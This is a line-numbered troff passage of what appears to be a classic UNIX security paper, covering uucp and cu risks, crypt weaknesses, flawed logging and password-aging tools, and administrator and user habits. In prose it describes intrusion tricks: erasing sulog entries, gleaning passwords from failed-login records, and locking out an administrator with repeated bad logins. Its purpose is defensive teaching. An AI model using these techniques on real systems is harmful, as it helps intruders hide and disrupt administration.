1142: in the network with handy access to resources (such
1143: as typesetters) that are not economical to replicate
1144: on each machine.
1145: .PP
1146: Unlike
1147: .I uucp
1148: and
1149: .I cu ,
1150: which are fairly standard, LANs
1151: come in many different flavors. It would be unkind
1152: and not very useful to dissect some particular LAN
1153: here, and trying to cover even the more popular ones
1154: would require a long and mostly uninteresting book.
1155: The hazards are exactly those of
1156: .I uucp
1157: and
1158: .I cu :
1159: remote
1160: execution, masquerading and faulty access permissions.
1161: The forms that the attacks will take are of course
1162: different.
1163: .PP
1164: Security holes in machine-to-machine communications
1165: are well-known, and sometimes difficult to fix.
1166: .DL
1167: No special permissions are inherently required to
1168: access communications devices. This makes it possible
1169: to obtain a private copy of a communications
1170: program and to modify it so that it calls out
1171: masquerading as some other machine or some other
1172: user. Even if special privileges were required,
1173: little would be gained, as the threat is to the
1174: remote, as yet uncompromised machine, not the local
1175: machine on which an intruder has presumably already
1176: obtained the required permissions.
1177: .DL
1178: Given that a remote machine cannot reliably identify
1179: its caller, allowing the remote execution of
1180: arbitrary commands is a sure way to invite trouble.
1181: Remote execution of a shell is deadly, but even
1182: an innocuous command like cat can be used to an
1183: intruder's advantage.
1184: .DL
1185: The
1186: .I uucp
1187: program that is used by most
1188: .UX
1189: machines
1190: was not written with security in mind. It can do just
1191: about anything, and it is up to the system administrator
1192: to restrict its capabilities. The restrictions needed
1193: are by no means obvious. The cure is to rewrite
1194: .I uucp
1195: so that it is able to deliver mail, to copy files to
1196: and from spool directories, and to send out data only
1197: when it has initiated the connection. We have done
1198: this in our research environment some time ago|reference(morris try uucp).
1199: Other efforts are in progress elsewhere|reference(uniforum uucp)|reference(truscott uucp).
1200: .DL
1201: The
1202: .I cu
1203: program can be a security disaster. Banning it from
1204: a machine or restricting access to devices will do
1205: no good at all, for the obvious reasons. The best that
1206: can be done is to educate users:
1207: .KS
1208: .nf
1209: Don't \fIcu\fR from a machine that isn't trusted.
1210: Don't \fIcu\fR to a machine that isn't trusted.
1211: Don't browse on the remote machine.
1212: .fi
1213: .KE
1214: (This advice is remarkably similar to that which parents
1215: give their children: ``Don't go for a ride with
1216: a stranger.'')
1217: .DL
1218: Local area networks should be treated as individual
1219: machines for security purposes.
1220: .NH
1221: Encrypted Files
1222: .PP
1223: .UX
1224: systems are distributed with a command called
1225: .I crypt
1226: that is used to encrypt and decrypt files|reference(morris file security).
1227: Cleartext is supplied as input to the program. A key
1228: (the cryptologist's term for `password') is either given
1229: on the command line or supplied interactively, and ciphertext
1230: is output. The transformation performed by
1231: .I crypt
1232: is its own
1233: inverse, so that using the same key converts ciphertext to
1234: cleartext.
1235: .I Crypt
1236: is used in many applications, and often very
1237: unwisely, as its safety depends on a very large number of
1238: factors that are often not considered by naive users.
1239: (For mainly this reason, Research Unix since the Eighth Edition has
1240: kept
1241: .I crypt
1242: in
1243: .CW /usr/games
1244: rather than in
1245: .CW /usr/bin .)
1246: The
1247: purpose of this section is to present those facts that ought to
1248: be considered, so that the user can make an informed decision
1249: about a particular application.
1250: .PP
1251: It is possible to decrypt an encrypted file without knowledge
1252: of its key. This is hardly surprising, as successful methods
1253: of attacking rotor machines have been known for over 50 years|reference(garlinski).
1254: The job can be very time-consuming; it is not just a matter
1255: of aiming some magic program at a file of ciphertext and
1256: obtaining cleartext.
1257: The method is described in detail in |reference(reeds weinberger).
1258: The amount of work that it takes to
1259: decrypt a file varies, depending on what clues
1260: are available. For a file of encrypted English text,
1261: several hours of work is not atypical.
1262: .PP
1263: Decryption of files can be made easy or hard, depending
1264: on how
1265: .I crypt
1266: is used:
1267: .DL
1268: A `one size fits all' approach to
1269: key selection is a particularly bad idea. It goes without
1270: saying that a user's login password, if known, will be
1271: tried as a possible key, but there are other problems.
1272: If ten files are encrypted with the same key, then
1273: all ten files can be decrypted once only one is done.
1274: Moreover, having more than one file encrypted with the
1275: same key lets a cryptanalyst switch to a different
1276: target when guessing at probable text gets hard.
1277: .DL
1278: Very frequently, a user of
1279: .I crypt
1280: will forget to remove
1281: a cleartext file after producing an encrypted version.
1282: Such cleartext can only be described as `gold'.
1283: .DL
1284: Executable programs (binaries) that have not been
1285: stripped of their predictable symbol tables are
1286: vulnerable.
1287: .DL
1288: Double encryption, that is, passing text through
1289: .I crypt
1290: twice, makes the job of decryption harder, but not much.
1291: .DL
1292: Simple-minded preprocessing schemes, such as exclusive
1293: oring the file with some constant, don't help.
1294: .DL
1295: Preprocessing the cleartext so that there is no longer
1296: a one-to-one correspondence between clear- and
1297: cipher-bytes dramatically weakens the attack. For example,
1298: using the
1299: .I pack
1300: command to get a Huffman-encoded version of
1301: the file before passing it through
1302: .I crypt
1303: ensures that
1304: characters will cross byte boundaries, thus rendering
1305: byte-oriented decryption techniques useless.
1306: .LP
1307: Much more dangerous are the non-cryptanalytic attacks. The
1308: techniques for guessing passwords are exactly those for guessing
1309: keys. And a Trojan horse version of
1310: .I crypt
1311: can take minutes, not
1312: hours for an intruder to install.
1313: .PP
1314: Finally, the frequency distribution of the bytes in an
1315: encrypted file is uniform. This is so unlike those of
1316: other files in the system that they practically scream
1317: for the attention of an intruder. This is well worth
1318: remembering.
1319: .NH
1320: Misguided Efforts
1321: .PP
1322: It is one thing to clean up a system by plugging open holes,
1323: and quite another to install security machinery that collects
1324: evidence of possible chicanery.
1325: The latter can be very useful or very dangerous,
1326: depending on how it is done,
1327: since it often happens that information that is helpful to
1328: system administrators can be just as helpful \(em or more so \(em to
1329: an intruder. Here are some security tools that can help weaken
1330: system security.
1331: .NH 2
1332: Logging \f4su\fP activity
1333: .PP
1334: The
1335: .I su
1336: command allows a user to assume the identity of any other
1337: user (the default being root, the super-user) if the password
1338: corresponding to the desired new identity is correctly given.
1339: As a security measure, most implementations of
1340: .I su
1341: also append
1342: a line to a log file called
1343: .CW sulog .
1344: The line contains a time stamp,
1345: the name of the user, the proposed new identity and a flag showing
1346: whether or not the transformation succeeded. Clearly, this file
1347: must be protected from writing by all but the super-user.
1348: .PP
1349: Normally, only a small number of people on a given machine are
1350: supposed to have super-user privileges, and all of these should
1351: be known to the system administrator. Thus by looking in
1352: .CW sulog
1353: for
1354: those who have become
1355: .CW root ,
1356: the administrator
1357: can get a very short list of names in which a stranger will likely
1358: stand out like a sore thumb.
1359: .PP
1360: Now consider the plight of an intruder who has just used a borrowed
1361: password to break into a strange machine, and who now has the task
1362: of locating the important people from among perhaps hundreds in the
1363: password file. Fortunately, the important people can readily be
1364: identified by their ability to become super-user. Thus the same
1365: technique applied to the same file produces the same list \(em but
1366: now it is a list of horse targets.
1367: .PP
1368: This implies that
1369: .CW sulog
1370: had better be unreadable as well as unwritable.
1371: Such files are difficult to handle for a variety of reasons.
1372: Copies and summaries with relaxed permissions are likely to be
1373: owned by the important people.
1374: .PP
1375: .CW sulog
1376: thus appears to help both the defenders and the attackers.
1377: This would indeed be the case if there were ever a need for an
1378: intruder to make an entry in the file. There is no such need.
1379: Only the most inexperienced intruder will use the
1380: .I su
1381: command to
1382: try out a guess or a pilfered password. The indirect approach
1383: of encrypting the guess and comparing it with the password file
1384: entry will provide verification without leaving any tracks.
1385: Once sure of a password, the intruder can then use
1386: .I su ,
1387: and just
1388: remove the last telltale line from
1389: .CW sulog .
1390: .PP
1391: If
1392: .CW sulog
1393: exists on a machine, no matter how it is protected
1394: or what it is called, there is a potential risk for the administrator
1395: but none for the knowledgeable intruder. The way to reverse the
1396: score is to keep the tracks off the machine, where they cannot
1397: be accessed, even by the super-user. The paper console copy in
1398: the machine room is a very good place, especially if the system
1399: administrator reads it occasionally.
1400: .NH 2
1401: Password aging
1402: .PP
1403: One of the many problems with passwords is that most people,
1404: left unreminded, will keep a password forever. The longer a password
1405: is used, the greater the chance that it will become compromised.
1406: Also, stolen passwords are useful to their thief for as long
1407: as they remain valid.
1408: .PP
1409: Most
1410: .UX
1411: systems are provided with a feature called
1412: .I "password aging" ,
1413: which, if activated by the system administrator, will
1414: cause users of the system to change their passwords every so often.
1415: .PP
1416: The goal is laudable. The algorithm, however, is bad, and the
1417: implementation, from a security standpoint, is just awful.
1418: .PP
1419: In systems on which the feature is used, the system administrator
1420: assigns, on a user-by-user basis, the length of time that a
1421: password can remain valid. The first time that a user whose password
1422: has rotted attempts to log into the system, the message: ``Your
1423: password has expired. Choose a new one.'' is printed and the user
1424: is made to execute the
1425: .I passwd
1426: command rather than the shell. The
1427: passwd command prompts for a new password, installs it, and records
1428: the time of installation. Further, to prevent a user from changing
1429: a password from X to Y and then promptly back to X,
1430: .I passwd
1431: will
1432: refuse to change a password that is less than a week old.
1433: .PP
1434: Four things are wrong here. First, picking good passwords, while
1435: not very difficult, does require a little thought, and the surprise
1436: that comes just at login time is likely to preclude this. There
1437: is no hard evidence to support this conjecture, but it is a fact
1438: that the most incredibly silly passwords tend to be found on
1439: systems equipped with password aging.
1440: .PP
1441: Second, the user who discovers
1442: that the new password is unsound or compromised cannot change it
1443: within the week without help from the system administrator.
1444: .PP
1445: Third,
1446: the feature only forces people to toggle back and forth between two
1447: passwords. This is not a great gain in security, especially if it
1448: encourages the use of less-than-ideal passwords.
1449: .PP
1450: Fourth, as implemented, the date and the lifetime of a password is encoded, not encrypted,
1451: just after the encrypted password in the password file. It is easy
1452: to write a program that scans a password file and prints out a list
1453: of abandoned accounts, together with the length of time each account
1454: has been unused. Whether this is a horror or a blessing depends on
1455: one's point of view.
1456: .PP
1457: The aging of passwords is a difficult problem, yet unsolved.
1458: .NH 2
1459: Recording unsuccessful login attempts
1460: .PP
1461: Some systems record unsuccessful login attempts.
1462: The login name, time and terminal number are stored.
1463: The password used is not, for the obvious reasons. The intent of
1464: such logging is to alert the system administrator to the presence
1465: of an intruder who stands at the door making guesses at the key.
1466: .PP
1467: One reason that login attempts fail is that people sometimes type
1468: a password when asked for a login name. Whether this is due to haste,
1469: carelessness, inattention, or sluggish system response during peak
1470: hours is not known. What is known is that collecting login names
1471: from unsuccessful access attempts will almost invariably collect
1472: a few passwords as well and that any `login name' thus collected
1473: that is not found in the system's password file is almost certainly
1474: a password. Finding the match is not difficult.
1475: .NH 2
1476: Disabling accounts based on unsuccessful logins
1477: .PP
1478: Some systems will count the number of consecutive unsuccessful
1479: login attempts for a particular user and disable the account
1480: after some pain threshold is reached. The magic number is
1481: usually three. This ploy has the marginal benefit of annoying
1482: would-be intruders who go through the unprofitable exercise
1483: of casting spells at the door, hoping it will open. For the
1484: intruder who has already gained access to the system, and
1485: who wants to get rid of the system administrator,
1486: the feature is a blessing:
1487: .P1
1488: login: guru
1489: password: foo
1490: .P2
1491: repeated the appropriate number of times will assure the
1492: intruder of privacy for at least a little while.
1493: .NH
1494: People
1495: .PP
1496: By far the greatest security hazard for a system,
1497: .UX
1498: or otherwise,
1499: is the set of people who use it. If the people who use a
1500: machine are naive about security issues, the machine will
1501: be vulnerable regardless of what is done by the local
1502: management. This applies particularly to the system's
1503: administrators, but ordinary users should also take heed.
1504: .NH 2
1505: Administrators' Concerns
1506: .PP
1507: The system administrator is responsible for overseeing the
1508: security of the system as a whole. Several things are
1509: especially important.
1510: .DL
1511: The password file is the most important file to watch
1512: in the system. It should not, of course, be writable
1513: by anyone other than the super-user, nor should it be
1514: available for perusal by anyone who is not currently
1515: logged into the machine. For example, it should not
1516: be shipped by
1517: .I uucp
1518: in response to an outside request.
1519: .DL
1520: Login entries with no passwords are very unwise.
1521: .DL
1522: Group logins, that is, the use of a single login name
1523: and password for a number of people, are to be avoided.
1524: The owner of a machine is entitled to know who is
1525: using it, and group logins thwart this. Further, the
1526: idea of a group login does little to instill in its
1527: users the notion that they are individually responsible
1528: for their conduct on a machine.
1529: .DL
1530: The worst group login, and one that is found on
1531: virtually all
1532: .UX
1533: machines, is
1534: .CW root ,
1535: the login name
1536: of the super-user. Every time that someone logs in
1537: as
1538: .CW root ,
1539: the system administrator can tell that
1540: someone logged in with super-user privileges, but there
1541: is no hint as to who that person might be. Many systems
1542: make it impossible to login as
1543: .CW root
1544: via dialup lines;
1545: some restrict the login to the system console. In fact,
1546: there is no need for anonymous super-users. It is better to
1547: require a normal login and effect the transformation
1548: via the
1549: .I su
1550: command, especially if
1551: .I su
1552: leaves tracks on
1553: a piece of paper somewhere.
1554: .DL
1555: The use of restricted shells to contain people who
1556: log in without passwords or through group logins
1557: is simply ineffective.
1558: .DL
1559: Administrators' personal passwords are most important,
1560: both to the administrators and to potential intruders.
1561: An intruder is happy to get anybody's password that
1562: provides access to the machine. If the password is
1563: that of a system administrator and thus allows
1564: some special group permissions such as
1565: .CW bin ,
1566: .CW sys
1567: or
1568: .CW uucp ,
1569: so much the better. It is strongly recommended that
1570: administrators use different passwords on the machines
1571: that they maintain than they use on any other machines.
1572: .DL
1573: A system administrator should be able to explain the
1574: presence of every SUID-root program on the system, and
1575: to show that these have at least been looked at for
1576: surprises. Compilation from `clean' source code is
1577: helpful, but not always sufficient.
1578: .DL
1579: Protection against horses for people who have
1580: super-user privileges is essential. This means checking
1581: PATH variables, directories and files owned by such
1582: people to see that the files that they execute
1583: are writable only by themselves or by trusted
1584: administrators. Again, such protection is not
1585: sufficient, but it does remove the obvious targets.
1586: .DL
1587: Finally, the system administrator should work to
1588: develop an awareness of security issues in the
1589: user community as a whole.
1590: .NH 2
1591: Users' Concerns
1592: .PP
1593: Users, including system administrators, often have surprisingly
1594: bad habits with respect to system security. Here are some of
1595: the worst.
1596: .DL
1597: Giving away logins and passwords is all too common.
1598: The same people who would never consider giving the
1599: keys to a company car to a friend are often quite
1600: willing to give away the keys to the company computer,
1601: even though the potential for loss may be orders of
1602: magnitude greater.
1603: .DL
1604: Obvious swindles tend to be ignored. Most Trojan horses work
1605: only because most people have not given any thought
1606: to the fact that programs that ask for things
1607: like passwords might not be the genuine article.
1608: If something goes wrong, they ask no questions.
1609: .DL
1610: Generally, little thought goes into the choice of
1611: non-trivial passwords, passwords are not changed
1612: except under duress, and a `one size fits all'
1613: attitude is common.
1614: .DL
1615: Carefree networking is the norm, not the exception.
1616: .DL
1617: Sensitive information about projects and people is
1618: routinely kept on public machines.
1619: .PP
1620: The only approach to these problems is user education.
1621: .NH
1622: Conclusion
1623: .PP
1624: At the beginning of this paper it was noted that
1625: .UX
1626: systems, when used for the purposes and in the environment
1627: for which they were designed, cannot be made secure. The
1628: supporting arguments for that statement should now be clear.
1629: Several other things should also be clear:
1630: .DL
1631: The security of any given
1632: .UX
1633: system can vary from
1634: very weak to very strong, depending on a large number
1635: of factors and their interactions. The most important
1636: of these are the habits and attitudes of administrators
1637: and users.
1638: .DL
1639: Software changes can be made that will greatly increase
1640: the security of a system. However, since the same tools
1641: can be just as potent for an intruder as for an administrator,
1642: they must be carefully designed, lest they backfire.
1643: .DL
1644: The question of convenience vs. security, which depends
1645: on the nature of a given application, must be carefully
1646: considered before implementing and installing that
1647: application. In particular, there are some things that
1648: should not be put on any `public' machine.
1649: .PP
1650: It was also noted that the security hazards of
1651: .UX
1652: systems
1653: are exactly those of other systems that are used for
1654: similar purposes in similar environments. Only the forms
1655: of the hazards are different. If, from the examples given,
1656: it seems easier to subvert
1657: .UX
1658: systems than most other
1659: systems, the impression is a false one. The subversion
1660: techniques are the same. It is just that it is often
1661: easier to write, install, and use programs
1662: on
1663: .UX
1664: systems than on most
1665: other systems, and that is why the
1666: .UX
1667: system was designed
1668: in the first place.
1669: .NH
1670: References
1671: .LP
1672: |reference_placement
This archive runs on limited infrastructure. Preserving old code on modern bandwidth. Automated agents are requested to crawl responsibly.